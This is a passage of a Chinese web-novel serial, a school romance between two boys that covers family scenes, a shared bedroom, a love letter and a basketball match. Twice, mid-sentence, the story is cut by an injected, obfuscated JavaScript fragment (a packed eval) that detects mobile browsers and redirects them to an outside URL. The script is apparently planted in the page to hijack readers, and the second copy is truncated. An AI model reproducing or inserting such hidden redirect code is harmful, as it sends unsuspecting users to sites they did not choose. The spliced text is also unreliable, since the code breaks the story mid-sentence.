「慕雨澄:滚。」 「温馨提示:就不。」 饭后,两个小的并排坐在主卧床边,像等待宣判的犯人。 牛皮纸袋被掀开,陈林峰的表情随着纸张翻动阴晴不定——看到数学成绩时眉毛上扬,物理成绩甚至让他轻哼了声。 直到看到英语成绩。 “这课怎么回事?才84,其他都将近满分了,就这科偏得严重。” 陈温忍不住心虚起来,后颈瞬间沁出一层薄汗。 可这次84分已经是超常发挥了…… 男生挠着后脑勺,找借口:“这次英语题目比之前的要难。” “英语有什么难的?多听多读就……” 陈林峰的声音渐渐变成模糊的背景音。陈温盯着父亲不断开合的嘴唇,满脑子都是待会儿视频时,怎么跟沈泽许吐槽这魔幻之夜。 他偷偷瞥向慕雨澄,对方正对着手机又在憋笑,完全没在意这场“批斗会”。 陈林峰正说到“你们这个年纪就该把心思放在学习上”,慕雪便从浴室晃出来,她的发梢没擦干,还在滴着水。 浅粉色的睡裙衬得她皮肤格外白皙,像颗刚剥了壳的水煮蛋。 慕雪走了进来,拈起颗晶莹的葡萄,趁陈林峰换气的空档精准投喂。 “唔!” 陈林峰被塞了满嘴,顺势闭了嘴。慕雪坐到床边,瓷盘在床头柜上“咔嗒”一放。 “孩子们,”她突然正色,“其实我们有件事要跟你们说。” 慕雨澄终于从手机里拔出视线,和陈温交换了个疑惑的眼神。 陈林峰咽下葡萄,终于走向正题:“公司同事老张的儿子,昨天领着个姑娘和孩子回来了。”他伸出两根手指,“那小子,才十八。” 房间里静得能听见葡萄皮破裂的细响。 这是……要警告我们别早恋? 虽然18岁就搞大人家姑娘的肚子更严重,但这会儿陈林觉得陈林峰是在训“早恋”的事。 陈温无意识抠着床单,庆幸自己还没提沈泽许的事。 “所以……?”慕雨澄拖长尾音。 陈林峰双手撑膝,像个谈判桌上的商人:“大学毕业前,不准恋爱。”他竖起食指,“到时候,最好找本区的姑娘,知根知底。” 完了。陈温暗道不妙。 但严格来说……沈泽许除了不是女的,倒也算个本区,“知根知底”的人。 陈温盯着葡萄梗上颤巍巍的水珠,挪移道:“说这些也太早了吧?” “兄弟”俩对视一眼,默契地保持沉默。 “不早了。”陈林峰伸出小拇指:“这也是为你们好,拉钩保证。” 陈温他们是一百个不情愿的表情,陈林峰强行掰开两人的小指,拉钩。 房间里只剩下咀嚼葡萄的声音。陈温一颗接一颗地往嘴里塞,甜腻的汁水在舌尖蔓延,却尝不出任何味道。 窗外的天色泼起稀释的蓝墨水,最后一丝霞光被暮色吞噬。 慕雪把见底的葡萄碗往茶几上一搁,喊了声:“小温?” 陈温正盯着沈泽许发来的「小狗探头.jpg」表情包出神,被点名时,他还低着头,回了句:“嗯?” “小雨今晚能跟你一起睡吗?” 话音刚落,陈温猛地仰首——开什么玩笑!那还怎么跟沈泽许视频?! “他不能去沙发上睡吗?”他垂死挣扎。 陈林峰从手机后探出半个脑袋:“主卧就只能睡两个人……”话音未落,就被慕雪接力:“客厅沙发太硬了……” 夫妻俩一唱一和的样子,活像菜市场里配合默契的摊主。 陈温绝望地看向慕雨澄,那人正疯狂摇头,刘海甩得像台风天的雨刷器,两人对视的眼神仿佛在说:「救救我救救我」 兄弟俩像菜市场被强行配对的两条苦瓜。 陈温虽和慕雨澄不对付,但考虑到有床不让睡,让他睡沙发确实不合适。 “……行吧。”他最终妥协的声音比蚊子还小,而慕雨澄被慕雪戳着脑门教训:“多跟你哥学学!” 学什么?学怎么偷偷谈恋爱吗? 房门关上的瞬间,两人像被按了暂停键似的僵在原地,大眼瞪小眼。 慕雨澄说:“不是吧大哥。干嘛不让我去沙发上睡,现在好了吧,你开心没?” “让你睡你就睡。”陈温叹了口气,从衣柜深处拽出备用枕头,故意拍打出满天飞絮。 慕雨澄盯着床单看了三秒,蹲下来敲地板:“有备用床垫吗?” “你要打地铺?!” “没错!” 五分钟后,两人鬼鬼祟祟地铺着床垫,连塑料膜都不敢撕太响,生怕隔壁听见了。 折腾许久,慕雨澄的刘海被汗黏在额头上,他烦躁地吹了口气:“热死了……” “心静自然凉。”陈温把风扇调大一档,叶片发出垂死挣扎的“嘎吱”声。 慕雨澄刚躺下,声音便幽幽传来:“你不打鼾吧?” “你才打鼾。”陈温一把拍灭床头灯,没好气道。 床垫随着他的动作微微下陷,发出轻微的“吱呀”声。 陈温侧过身,把手机屏幕亮度调到最低,在键盘上飞快敲打,把今晚发生的事情删删改改地发给沈泽许——当然,自动过滤了和陈林峰拉勾那段。 消息刚发出去,对话框上方就显示“对方正在输入……”,沈泽许的回复来得很快: 「大好人:没关系,明天去看林宇舟篮球比赛就能见了。」 陈温撇撇嘴,又想到明天能见面,他胸口泛起一阵微妙的雀跃,但马上又被另一个现实问题冲淡: 「哎,我还要跟我弟一起睡一个房间。」 「不过他铺地板睡,我睡床上。」 「都不能跟你打视频了,我好伤心TAT」 发完才觉得这话有点撒娇的嫌疑,陈温赶紧把脸埋进枕头里。 「大好人:我也想看看你,为什么离开一会,我就特别想你。」 “!”陈温猛地瞪大眼睛,这句话直白得让他耳根发烫。 他下意识看了眼地板上的那人——慕雨澄正背对着他,缩在被子里只露出一个脑袋。 陈温收回视线,最后只憋出一个万能的: 「6」 对方似乎被这个回应噎住了,对话框显示的“正在输入……”欲言又止,止言又欲,反复三次后,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171970|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于发来: 「大好人:……」 陈温几乎能想象沈泽许此刻的表情——肯定是那种又好气又好笑的无奈模样,说不定还轻轻“啧”了一声。 这个联想让他忍不住偷笑起来,把脸更深地埋进枕头,却压不住疯狂上扬的嘴角。 「大好人:算了,我去洗澡了。」 陈温盯着这行字,恶作剧的心思像泡泡一样冒出来: 「看看?我觉得现在可以打视频电话了。」 发完他就后悔了,这样显得他像个变态,陈温在撤回键上方犹豫不决。 对话框的“对方正在输入……”又开始工作,最后只弹出一个高冷的句号: 「大好人:。」 接着又跟了个单字: 「好。」 “好?好什么好?”陈温还没反应过来,手机突然震动,视频邀请的界面跳出来,吓得他差点把手机摔脸上。 他又做贼似的瞄了眼地板上的慕雨澄——那人不知道是在玩游戏还是在跟那个“大魔王”聊天,应该没注意到自己这边异常的动静。 鬼使神差地,陈温按下了接听键。 屏幕亮起的瞬间,他呼吸一滞——入眼是铺满白色瓷砖的浴室,氤氲的水汽在镜头前蒙了层薄雾。 沈泽许没露脸,只把手机架在洗手台上,这个角度刚好能看到他修长的手指正在调整镜头。 陈温强装镇定,在屏幕上敲字:「干什么?」 镜头晃了晃,沈泽许拿起手机回复: 「大好人:你不是要打视频电话吗?」 陈温耳尖发烫,嘴硬地打字: 「你不是要洗澡吗?」 「大好人:嗯。」 简单的一个字,却让陈温心跳漏了半拍好一阵。还没等他再回复,沈泽许又架好手机,双手抓住T恤下摆,干脆利落地往上一掀—— “我去!”陈温在心里爆了句粗口,眼睛却诚实地盯着屏幕。 T恤被随意扔到一边,露出少年精瘦的腰身,薄薄的腹肌随着呼吸微微起伏,小臂线条因为架手机的动作绷出好看的弧度。 陈温不自觉地咽了下口水,无意识地揪紧了被单。 这人在搞什么?玩真的? 当沈泽许的手指搭在休闲裤上时,陈温的呼吸都停滞了。 两人像是在进行一场奇怪的博弈——谁先挂电话谁就输了。 休闲裤滑落在地,露出里面的黑色运动短裤,陈温的视线像被烫到一样躲闪了一下,又忍不住飘回屏幕。 “这都不挂?沈泽许你认真的?”陈温在心里呐喊。 因为角度问题,他看不清对方的表情,只能看到线条分明的下颌和滚动的喉结。 浴室暖黄的灯光给所有画面都蒙上一层暧昧的滤镜。 当沈泽许的拇指勾住运动裤边缘的瞬间,陈温的理智终于崩盘,像触电一样猛地按下挂断键。 手机屏幕暗下来的刹那,他才发现自己的手心全是汗,脸颊烫得能煎鸡蛋。 「大好人:怎么挂了?」 陈温手指颤抖着回复: 「洗你的澡。」 发完又觉得不够解气,补了个[微笑]表情。 黑暗中,慕雨澄突然幽幽开口:“你谈恋爱了?” “啪!” 陈温的手机直接砸在鼻梁上,疼得他眼泪都飙出来了:“没有!” “那刚才对手机傻笑的是谁?”慕雨澄在地铺上翻了个身,看向他。 “……”陈温把发烫的脸埋进枕头,声音闷闷的:“我没有。” “切,不说拉倒。”慕雨澄说:“不如我们来交换秘密?” 陈温半个身子探出床沿,眼睛在黑暗里发亮:“比如?” “我是‘暴雨萝莉’。” “……什么?”陈温没听懂,但是觉得这个名字格外耳熟。 “我说,我其实是个游戏主播,”慕雨澄慢悠悠地晃了晃手机,“直播间常驻十万人那种。” 陈温一个鲤鱼打挺坐起来:“不信,有本事上证据!” 下一秒,刺眼的手机屏幕怼到他脸上——某平台主页明晃晃挂着「暴雨萝莉」,50.1万粉丝,今日打赏榜第三名的ID赫然是「暴雨今天挨打了吗」。 陈温倒吸一口凉气——“暴雨萝莉”这个ID他终于想起来了! 去年在广州学校的时候,黄曦曾抱着海报尖叫“暴雨哥杀疯了”的画面历历在目,当时她还把慕雨澄的游戏截图设成了聊天背景! 难以置信——这个数学考28分、袜子爱穿反的人,居然是当红游戏主播? 18字概括就是:学渣弟弟竟是网红主播?陈温世界观崩塌了。 他盯着屏幕,嘴巴张得能塞进一个鸡蛋。 “你……你该不会盗别人号了吧?!” 慕雨澄翻了个白眼:“我又不是黑客。” “太酷了!跟我互关一下!” “没问题~” 陈温突然想起什么,“等等!这个平台不是不让未成年主播直播吗?你——” “所以用的是我老妈身份证啊~” “嗖——”一个充电宝突然飞上床,精准砸中陈温的膝盖。 “跟你对象打电话去吧。”慕雨澄抱着睡衣站起来,“本主播要去厕所加班了——哦对了,记得戴耳机,别让我直播间观众听见奇怪的声音。” 陈温小声怒吼:“滚啊!!” 38. 三叶草 凌晨12点,月光模糊地渗进窗户,夫妻俩早早就睡了,屋子只剩下机箱运转的低鸣。 慕雨澄摘下耳机,仰头灌完最后一口可乐,易拉罐在他手里“咔”地瘪下去。 男生回了房间,一直盯着手机里直播结束的画面,突然开口道: “陈温,我不想上学了。” 陈温敲键盘的手指一顿,皱眉看向他:“你……认真的?” “我以后还想当游戏主播。”慕雨澄扯了扯嘴角,眼神却没移开屏幕,“每天练操作、搞直播,比上课有意思。” “听着!”陈温放下手机,一把按住慕雨澄的肩膀,一脸正色地警告他:“你现在高三了,主要任务就是完成学业,以后的事以后再说。”他的声音压得极低,像是怕惊醒隔壁的两人,“要是我爸跟阿姨知道了,你这直播间立马就得完蛋。” 慕雨澄本低头,随即肩膀一缩,笑着挣开:“哎呀,开玩笑的!看把你吓的。”他迅速点开新一局游戏,角色刚跳伞落地,枪都没捡到。 陈温没接话,只是盯着他。半晌,叹了口气:“你的事,我可以帮忙保密。但别拿学业开玩笑,不会的题可以问我啊,听见没?” 慕雨澄躺回地上,轻轻地“嗯”了一声,游戏角色却在这时被人一枪爆头,屏幕也灰了下去。 早晨,手机第三次震动时,陈温彻底醒了。 他皱眉摸向枕边——手机明明开了静音的啊。 记忆闪回:慕雨澄那句“你谈恋爱了”惊得他手一抖,手机砸中鼻梁。 现在想来,大概就是那一撞,让静音键在鼻尖的压迫下悄悄滑回了响铃模式。 锁屏一划,短视频账号的红色通知气泡刺眼地显示着:“30,328+新访客”。 陈温一个激灵坐起身,通知栏还在不断弹出新消息,他点开慕雨澄的主页,最新视频的评论区炸开了锅: 「暴雨昨晚互关的是谁啊?」 「求扒昨晚互关的人!」 但每隔几条就会蹦出刺眼的内容: 「蹭热度的吧?」 「该不会是暴雨的金主吧。」 “慕、雨、澄!”陈温抄起抱枕,砸向地铺上那团被子。 “我去!”慕雨澄被砸得一个鲤鱼打挺,头发炸成鸟窝,睡眼朦胧地瞪着他:“陈温,你大清早搞谋杀啊?!” “看看你的‘好粉丝’!” 手机直接怼到慕雨澄眼前。 冷光映出男生逐渐清醒的脸,瞳孔猛地一缩:“靠。”他猛地拍了下脑门,“我忘了后天要和Lantrn打娱乐赛,把关注列表公开了……” 慕雨澄有个原则——从不互关。 可前几天和职业选手打娱乐PK,对方赛后私信说“加个好友,下次约战方便”,他当时脑子一热就点了关注。 本来想着打完比赛就取关,结果昨晚跟陈温吹牛吹上了头,完全忘了自己的关注列表还公开着。 手指飞快滑动,恶评越刷越多,他撇嘴嘟囔:“你别理这些酸鸡们。” “你粉丝平时也这样?”陈温问。 “才不是。”慕雨澄突然在某条评论上停顿,“看,这ID我熟,上次PK输给Lantrn就来我直播间带节奏。” 陈温躺回去,盯着天花板打了个哈欠。 慕雨澄埋头敲字,终于按下发送:“搞定!就说你是我发小……” “咚咚——” 敲门声让两人瞬间僵住。 “两个小朋友,早餐要凉了。”慕雪的声音穿透门板传来。 他们对视一眼,触电般弹起来。慕雨澄一脚把被子踹进床底,陈温抓起枕头塞进衣柜。 三十秒后,地铺痕迹荡然无存。 门开了。 慕雪端着牛奶,挑眉看着两个腰板挺直的男生乖巧地坐在床上——连手指扣膝盖的弧度都一模一样。 “你俩在排练二人转?” “是他学我!”两人异口同声指向对方。 匆匆吃完早餐,陈温一声不吭地钻进了卧室,门“咔哒”一声上了锁。 慕雨澄瞥了一眼紧闭的房门,心里犯嘀咕:“这家伙又在捣鼓什么?” 直到午饭时间,他才慢吞吞地走出来,脸色有些疲惫。他端起碗,三两口扒完饭,筷子一放就抓起外套。 “我出去一趟。”陈温丢下一句,没等陈林峰回应,人已经闪出了门。 小卖部的老板娘歪在躺椅上,一边扇着小风,一边啃着西瓜,盯着电视里正演到高潮的狗血恋爱剧——女主一巴掌甩在反派脸上,掌声清脆。 门帘一响,她懒洋洋地抬了下眼皮。 “老板,这有信封信纸卖吗?”陈温站在门口问道。 “等着。”女人吐出西瓜籽,拍了拍手,弯腰在收银台下翻找起来。 陈温松了口气——他跑了好几家店都没买到,这是巷子里最后一家了。 天气似乎终于意识到现在应处于冬季,早上醒来的时候,就带有一丝丝凉意。 陈温搓了搓手,像个好奇宝宝似的在小卖部东张西望。 老板娘终于直起身,“啪”地把三款信封拍在桌上:“孩儿,挑挑?” 陈温凑近一看,最左边是淡蓝底撒着小雪花;中间是墨绿配栀子花纹;右边则是白底加几片三叶草。 他捏起栀子花的那套:“还有别的吗?” “现在谁还写信啊?就剩这几款了。”老板娘啃着西瓜,眯起眼,“给谁写的啊?对象、还是暗恋对象?” “……对象。” “哦~”老板娘拖长音调,一脸八卦。 陈温耳根发烫,盯着信封犯了难。 店里一时只有电视剧的台词声——女主正铿锵有力地宣布:“我的人生轮不到你们指手画脚!” 外头传来“嘎吱”一声——送货的面包车到了。 司机用粤语喊道:“老板娘,卸货!” 老板娘急匆匆往外走,陈温鬼使神差地问:“您觉得哪个适合给对象?” 老板瞥了眼三叶草信封,其实那是四叶草卖剩的残次品,张口就来:“最后一个吧,三叶草遍地都是,但跟四叶草一样能带来好运。” “真的假的?”陈温狐疑地问。 “当然!这款卖得最快,就剩这一份了。”她面不改色地撒谎,瞥见陈温天真的眼神时,心里却莫名愧疚,反正是残次品,干脆把20元的标价“砍”到5块。 “孩儿,给5块就行。” 陈温翻了翻钱包,只有一张20元。 他往收银台上一拍,瞥见墙上的钟,抓起信封就跑:“不用找了!” 片刻,老板娘搬完货,一抬头就看见收银台上那张20元钱,心里十分不是滋味。 她捏着纸币发愣,突然感觉耳根一痒。 “幼不幼稚?”老板娘头也不回,伸手从耳后摘下一片草叶。 司机笑嘻嘻地凑过来:“路上摘的四叶草,听说戴上能走好运的。” 老板娘仔细一数,柳眉倒竖:“骗人,这明明只有三片叶子!”说着,就揪住司机的耳朵,“还不快去洗手吃饭,我等你等到要饿‘死’了。” “哎哟老婆轻点!真是四叶的,可能……可能路上蹭掉了一片……”司机龇牙咧嘴地讨饶。 “再啰嗦,”老板娘松开手,转身往厨房走,“我做的你最爱吃的麻婆豆腐就没你的份。” 学校门口人头攒动,学生、家长们挤在这里,准备进去看篮球友谊赛。 陈温气喘吁吁地赶到,目光在人群中快速搜寻,却始终没找到林宇舟他们的身影。 他皱了皱眉,决定直接进去找。 刚走进校门,就撞见了李欣桐。她一眼看到陈温,快步走过来:“看见我姐了吗?” “没,我刚到。”男生摇摇头,额前的碎发因为奔跑还微微颤动。 李欣桐“哦”了一声:“林宇舟他们在3号篮球场,刚才还问你怎么还没来。” 陈温下意识挠了挠头,没有正面回答,反而问道:“你知道沈泽许在哪吗?” “不清楚,我也没见到他。”李欣桐歪着头打量他,“怎么了?有什么事吗?” “没事。”陈温摆摆手,“我先走了。”说完便快步往球场方向走去,背影显得有些匆忙。 随着脚步渐近,篮球场的喧嚣声越发清晰,像潮水般一波波涌来。 记分牌显示现在已经进行到第四、第五场。 两个主场地上的女子组比赛正打得火热,篮球撞击篮板的闷响、此起彼伏的加油呐喊,全都混在午后燥热的空气里。 三号场地暂时作为休息区,各队队员三三两两地聚在一起热身。 林宇舟正做着拉伸,抬头看见陈温急匆匆地跑来,不由挑眉:“这么急,出什么事了?” “没。”陈温喘着气,目光不自觉地往四周瞟,“舟哥,你第几场的啊?” “大轴。”林宇舟咧嘴一笑,用力拍了拍陈温的肩膀,“记得给我喊加油啊。” “一定。”陈温点点头,又忍不住问道:“那个……你看到沈泽许了吗?” 林宇舟擦了把汗,指向远处:“刚刚ak主任叫他和叶萧云去小卖部帮忙搬矿泉水了。” “OK,谢了!”陈温话音未落,人已经转身跑开,只留下林宇舟若有所思。 他跑到小卖部门口,正巧看见沈泽许和叶萧云各自抱着一箱矿泉水往外走。 午后的阳光透过木棉花树的缝隙,在两人的身上投下无数的光斑。 “你们在这啊。”陈温小跑过去,嘴角不自觉扬起。 沈泽许闻声抬头,喉结微动:“怎么来了?” 低沉的声音像大提琴的弦音,在嘈杂的校园里格外清晰。 陈温耳尖一热,伸手就去拿沈泽许箱子里的矿泉水:“帮帮你们不行吗?” 他一股脑抱出六瓶,左右手各三瓶,活像只抱着松果的小松鼠。 叶萧云挑起眉毛,目光在两人之间来回扫视,眼珠咕溜溜地转:“那什么,我的自行车好像没锁,我得去看看,谁能帮我拿一下?”他故意拖长声调,也不知是真的还是单纯想偷懒。 “我……我没手拿了。”陈温红着脸辩道。 沈泽许低笑一声,喉间溢出好听的震动。 他单手托着自己的箱子,另一只手直接把叶萧云的也接了过来,小臂肌肉绷出好看的线条:“我来吧。” “哇,沈哥好man!”叶萧云夸张地捂住心口,“要不是被AK主任抓壮丁,谁愿意搬这么多水啊。”他冲陈温挤挤眼,“我先走了,待会见~” 等叶萧云走远,陈温偷偷瞄着沈泽许被汗水微微浸湿的T恤下若隐若现的肌肉轮廓,小声问:“要不要我帮你搬一箱?” “不用。”沈泽许调整了下姿势,眼角弯起温柔的弧度,“你拿着那几瓶就好。” 两人把矿泉水搬到3号球场边,立刻被球员们围住取水。 人群中,陈温悄悄拽了拽沈泽许的衣角,压低声音:“跟我来。” 他们来到教师电瓶车停车场,这里空无一人,两条通道分别通向篮球场和教学楼。 沈泽许被陈温拉到角落,后背抵着墙壁,看着眼前神神秘秘的恋人,问:“怎么了?” 陈温单手撑在墙上,另一只手藏在身后,眼睛亮晶晶的:“猜猜我给你带了什么?” “零食?” “不对~”陈温摇头晃脑。 “我见过的东西?” “废话!” “五三?” “……”陈温:“不是。” 沈泽许笑着投降:“我猜不到了。” “噔噔噔!”陈温变魔术般掏出信封,“给你!” 沈泽许接过印着三叶草的信封,指腹轻轻摩挲:“情书?” 陈温红着脸点头,虽然已经在一起了,但每次表白还是会心跳加速。 “哦——”沈泽许故意拖长音调,“原来你喜欢我啊。” “……嗯。”陈温低头盯着自己的鞋尖,“不行啊?” “当然行。”沈泽许温柔地揉乱他的头发,“你送什么,我都喜欢。” “你现在不许看啊!”陈温说:“等回去再看。” 沈泽许点点头,表示明白。 陈温傻笑着扑进他怀里,冰凉的手贴在沈泽许温暖的背上,感叹一句:“你好温和啊……” 就在两人快要吻上的瞬间,外面忽然传来脚步声和说话声。 他们迅速分开蹲下,屏住呼吸。 “姐你怎么才来?” “我得等弟弟睡着了,才能出来……” 透过车缝,他们看见李欣桐和李清依姐妹俩走进停车场。 李欣桐说:“现在离林宇舟的比赛还早,我们在这里休息会儿吧,外面太阳太大了。” “好。” 两人蹲在角落进退两难,外面的闲聊声却越来越热闹。 “婶婶最近还吐得厉害吗?”李清依的声音传来。 “好多了,一直使唤我干这干那的。”李欣桐回道,“对了,叔叔出院后恢复得怎么样?” “医生让多休息几天,结果他一大早就跑去上班了。” “这么拼?” 李清依叹了口气:“他就是不知道爱惜身体……” “哟,你们躲这儿干嘛呢?”叶萧云的声音从停车场门口插了进来。 “要你管!”李欣桐立刻呛声。 “我招你惹你了?这么凶?”叶萧云委屈巴巴地说,“走不走啊?舟哥比赛马上开始了。” “哦……对不起。”李欣桐气势瞬间弱了下来。 “话说你们看见沈哥和陈温没?”叶萧云问。 得到否定的回答后,三人的脚步声渐渐远去。陈温长舒一口气,他猛地站起身,却因为蹲得太久眼前一黑,整个人晃了晃。 “小心。”沈泽许一把揽住他的腰,将人稳稳扶住。 走在最后的李清依似乎听到动静,她疑惑地回头,恰好瞥见两人暧昧的姿势。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171971|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还没等她看完整,就被堂妹拉着走远了。 “谢谢……”陈温站稳后小声道谢,却发现沈泽许眉头紧锁,目光沉沉地盯着自己。 “怎么了?”他被看得心里发毛。 沈泽许摇摇头,欲言又止,最终只是轻轻握住他的手:“没事,走吧,看比赛。” 夕阳西下,篮球场上的观众已经散去大半,只剩下零星的几个身影。 一天的比赛下来,最初的热情早已消退,连加油声都变得稀稀落落。 陈温悄悄松开和沈泽许交握的手,若无其事地走到叶萧云他们身边。 “你们怎么才来?”叶萧云转头问道,眼睛还盯着球场。 “刚去上了趟厕所。”陈温面不改色地回答,余光瞥见沈泽许嘴角微微上扬。 “快看!”叶萧云兴奋地指着球场入口,“舟哥他们进场了!” 由于观众不多,他们几个轻松占据了第一排的最佳观赛位置。 晚风拂过,带着些许凉意,却吹不散少年们眼中的期待。 李欣桐抱着手臂,斜眼打量着场上全副武装的林宇舟——红色发带、黑色护腕、荧光绿球鞋,连护膝都印着限量版花纹。 她撇撇嘴:“打个友谊赛而已,这家伙是把整个耐克店穿身上了吧?跟个花孔雀一样。” “你懂什么!”叶萧云立刻化身解说员,掰着手指如数家珍,“发带是Jordan经典款,护腕和库里同系列,这双Kyrie联名球鞋要两千多!” 李欣桐只是瞪大眼睛,没再吱声。 哨声响起,林宇舟所在的蓝队与对手红队在中场跳球。 裁判将球高高抛起,男生如弹簧般跃起,修长的手指率先触到球,精准地拨给了队友。 “好球!”叶萧云忍不住喊出声。 比赛一开始就进入白热化。 林宇舟作为控球后卫,在场上灵活穿梭,几次漂亮的变向运球晃过防守队员。 一个背后传球,球如长了眼睛般飞到埋伏在底角的射手手中。 “唰——”三分命中。 “舟哥太帅了!”叶萧云激动地跳起来,差点撞到身后的李欣桐,“对不起对不起!” 李欣桐翻了个白眼,却也跟着鼓掌。 第二节开始,对方明显加强了对林宇舟的防守。两名高大的队员如影随形地贴着他,不给他任何出手空间。 一次突破中,林宇舟被狠狠撞倒在地。 “犯规啊这是!”李欣桐急地直接弹了起来。 她虽然不懂篮球规则,但看到林宇舟被撞飞出去的画面还是忍不住喊出声。 李清依按住妹妹的肩膀:“别急,看舟哥怎么应对。” 果然,林宇舟爬起来后神色如常,只是眼神更加锐利。 罚球线上,他稳稳投进两分。 接下来几个回合,他改变策略,用精准的长传调动对手防线。 中场休息时,比分胶着在32平。 林宇舟他们满头大汗地走下场。 “舟哥,他们盯你太紧了,太烦人了。”叶萧云担忧地说。 林宇舟灌了半瓶水,勾起嘴角:“正好给队长阿杰他们创造机会。”他看向记分牌,“下半场他们会付出代价。” 说着,他拽起速干衣的下摆低头擦汗,隐约露出线条分明的腹肌,阳光下泛着健康的光泽。 李欣桐不小心瞥见,移开视线时,却见隔壁学校的选手直接把球衣掀到胸口,一片白花花的肚皮,还豪迈地转着圈擦汗。 “……”她嘴角抽搐着别过脸,正好对上叶萧云憋笑憋到扭曲的表情。 第三节开始,林宇舟果然改变打法。 他不再强攻,而是作为诱饵吸引包夹,然后妙传空位队友。 几次精妙的no-lookpass引得场边惊呼连连。 “这传球神了!”连对方的教练都忍不住赞叹。 最关键的一球出现在最后两分钟。 比分68:70,蓝队落后。 林宇舟持球推进,一个急停变向,甩开防守者。在对方中锋补防的瞬间,他看似要上篮,却在空中扭身将球传给跟进的阿杰。 “轰——”一记势大力沉的灌篮! 不知何时,原本稀疏的观众席又重新挤满了人,仿佛被无形的磁力吸引回来一般。 场边的过道、楼梯甚至记分台周围都站满了学生,层层叠叠的人墙将整个篮球场围得水泄不通。 比赛最终以75:72结束,蓝队逆转获胜。 队员们将林宇舟高高抛起,夕阳将他们的影子拉得很长很长。 队长阿杰乐呵呵地上台领了学校发的镀金奖杯,在众人的起哄声中高高举起。 人群渐渐散去,只留下几个体育老师。 “走,舟哥,带你去喝9+8!”叶萧云一把揽过林宇舟汗湿的肩膀,挤眉弄眼地说。 林宇舟狐疑地挑眉:“你有这么好心?上次说请客,最后还不是我付的钱?” “喂喂,把我想成什么人了?”叶萧云捂着胸口作受伤状,转头对其他人喊道:“大家都去啊,我请客!” “好!”李欣桐第一个响应,眼睛亮晶晶的,“我要喝西瓜汁。” 李清依也点点头。 陈温和沈泽许对视一眼,还没开口就被叶萧云打断:“你俩必须来啊!舟哥今天这么帅,不得庆祝庆祝?” “9+8”饮料店就在学校旁边的步行街上,招牌上的绿、红荧光字在暮色中格外醒目。 叶萧云和林宇舟挤在柜台前点单,汗湿的球衣还没干透。 “6杯西瓜汁,多加冰!”叶萧云拍着柜台喊道,转头对林宇舟解释:“这家的西瓜汁现榨的,才八块钱一杯,好喝又便宜。” 李欣桐和李清依早已坐在店内,享受着风扇的凉风。 陈温却盯着路边一辆没上锁的自行车,他一眼便猜到这是谁的车,坏笑着凑到沈泽许耳边说了什么。 沈泽许嘴角微扬,点了点头。 西瓜汁很快做好,叶萧云迫不及待灌下一大口,冰凉的果汁顺着喉咙滑下,他满足地长叹:“太爽了!” 林宇舟正要接过自己的那杯,余光却瞥见什么,忽地愣住:“沈泽许和陈温什么时候那么要好了?” “啊?”叶萧云顺着他的目光望去——陈温正骑着一辆自行车在步行街上穿梭,后座上的沈泽许侧身坐着,双手自然地环抱着陈温的腰。 夕阳给两人镀上一层金边,车轮碾过石板路发出轻快的声响。 “他俩不是一直这样吗?”叶萧云嘀咕着,又吸了一大口西瓜汁。 直到陈温故意骑车在他们面前绕了第二圈,他才瞪大眼睛,说道:“等等!那不是我的车吗?!” “哎呀,被发现了!”陈温大笑起来,猛地加速蹬车。沈泽许回头朝他们挥了挥手,手臂依然稳稳环在陈温腰间。 “陈温你给我站住!” 叶萧云抓着西瓜汁就追了出去。 “你追到我再说~” 39. 打翻花盆的猫 沈家别墅里,低沉的争吵声从楼下渗上来,像一把钝刀,缓慢割裂着夜晚的寂静。 白千月和沈明远从没在沈泽许面前红过脸,可最近却总在深夜争执。 声音压得极低,又总在几句后戛然而止,像是怕惊醒了楼上那道沉默的影子。 而现在,他们又开始了。 白千月的声音罕见地发冷:“这样对我们都好,你去找别人吧,好聚好散。” “想都别想!你一辈子都是我的!” 沈明远压低的怒吼震得水晶吊灯微微发颤,光影在墙面摇晃。 沈泽许不知何时站在了楼梯口。 两人倏地噤声,空气凝滞成冰。 白千月上前了一步,声音放得极轻:“小沈……打扰到你了?” 男生轻轻摇头:“没,下来接水。” “嗯……杯子给我吧,我来。”她伸手接过儿子手里的空杯,手上裸色指甲油已剥落几块。 沈明远合上手中的财经报,发出哗啦声。 父子俩的目光在半空短暂相撞,又各自错开,他劲直离开了客厅。 等沈泽许回到卧室,楼下的灯已经熄了。 黑暗里,只剩一缕未散的烟味,无声地证明着刚才的一切并非幻觉。 手机屏幕亮起,陈温的消息顶着那颗晃眼的太阳头像跳出来: 「明天早餐想吃什么?我给你带。(企鹅歪头歪脑.JPG)」 窗外,一架夜航飞机低鸣着掠过庭院,机翼的灯光扫过梧桐树梢,又隐入云层。 沈泽许将水杯搁在桌角,他斜倚着书桌边,在屏幕上轻点: 「学校门前的那家肠粉。」 对话框上方立刻显示“对方正在输入……”,陈温的回复追着他的尾音蹦出来,快得像是一直守在手机前: 「宝宝:没问题!豆浆要不要?」 「SSS:不了,饮料比较难带进学校。」 「宝宝:好。」 「那封信,你看了吗?」 沈泽许的目光在最后一行字上停留片刻,从外套口袋里抽出一张信封。 「SSS:还没,我现在看。」 按下台灯开关,暖黄的灯光便倾照下来。 男生拆开信封,纸张簌簌作响。 信封信纸内印有一行小字:「你是我的第四片叶子。」 展开信纸,陈温的字迹像他本人一样跳脱又认真,笔画时而飞扬时而收紧,像一场不受控的心跳。 「亲爱的沈泽许: 